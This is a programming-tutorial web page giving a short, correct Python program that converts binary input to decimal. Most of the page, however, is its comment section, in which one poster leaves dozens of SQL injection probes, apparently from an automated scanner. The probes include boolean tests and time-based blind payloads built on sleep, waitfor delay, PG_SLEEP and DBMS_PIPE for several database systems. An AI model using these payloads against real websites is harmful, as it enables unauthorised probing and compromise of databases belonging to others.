Binary to Decimal in python

Python program to get binary number and convert it into decimal number.

Sample Input 1:

1010

Sample Output 1:

10

Program or Solution

				
			
					
decimal_val,base=0,1
binary_val=int(input("Enter a Binary number"))
while (binary_val > 0):
    rem = binary_val % 10
    decimal_val = decimal_val + rem * base
    binary_val = binary_val // 10 
    base = base * 2
print(decimal_val)
    

			
				
			

Program Explanation

Yet to be updated

Comments

ubaTaeCJ
-1 OR 2+219-219-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+219-219-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+219-219) --
ubaTaeCJ
-1 OR 3*2>(0+5+219-219) --
ubaTaeCJ
-1 OR 2+617-617-1=0+0+0+1
ubaTaeCJ
-1 OR 3+617-617-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+617-617)
ubaTaeCJ
-1 OR 3*2>(0+5+617-617)
ubaTaeCJ
-1' OR 2+948-948-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+948-948-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+948-948) --
ubaTaeCJ
-1' OR 3*2>(0+5+948-948) --
ubaTaeCJ
-1' OR 2+546-546-1=0+0+0+1 or 'gzpLHn41'='
ubaTaeCJ
-1' OR 3+546-546-1=0+0+0+1 or 'gzpLHn41'='
ubaTaeCJ
-1' OR 3*2<(0+5+546-546) or 'gzpLHn41'='
ubaTaeCJ
-1' OR 3*2>(0+5+546-546) or 'gzpLHn41'='
ubaTaeCJ
-1" OR 2+59-59-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+59-59-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+59-59) --
ubaTaeCJ
-1" OR 3*2>(0+5+59-59) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
KT17re8B'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 255=(SELECT 255 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 269=(SELECT 269 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 18=(SELECT 18 FROM PG_SLEEP(15))--
ubaTaeCJ
72ib8Qrs' OR 367=(SELECT 367 FROM PG_SLEEP(15))--
ubaTaeCJ
HNT9QRzM') OR 896=(SELECT 896 FROM PG_SLEEP(15))--
ubaTaeCJ
ntFyLCBa')) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@080Ia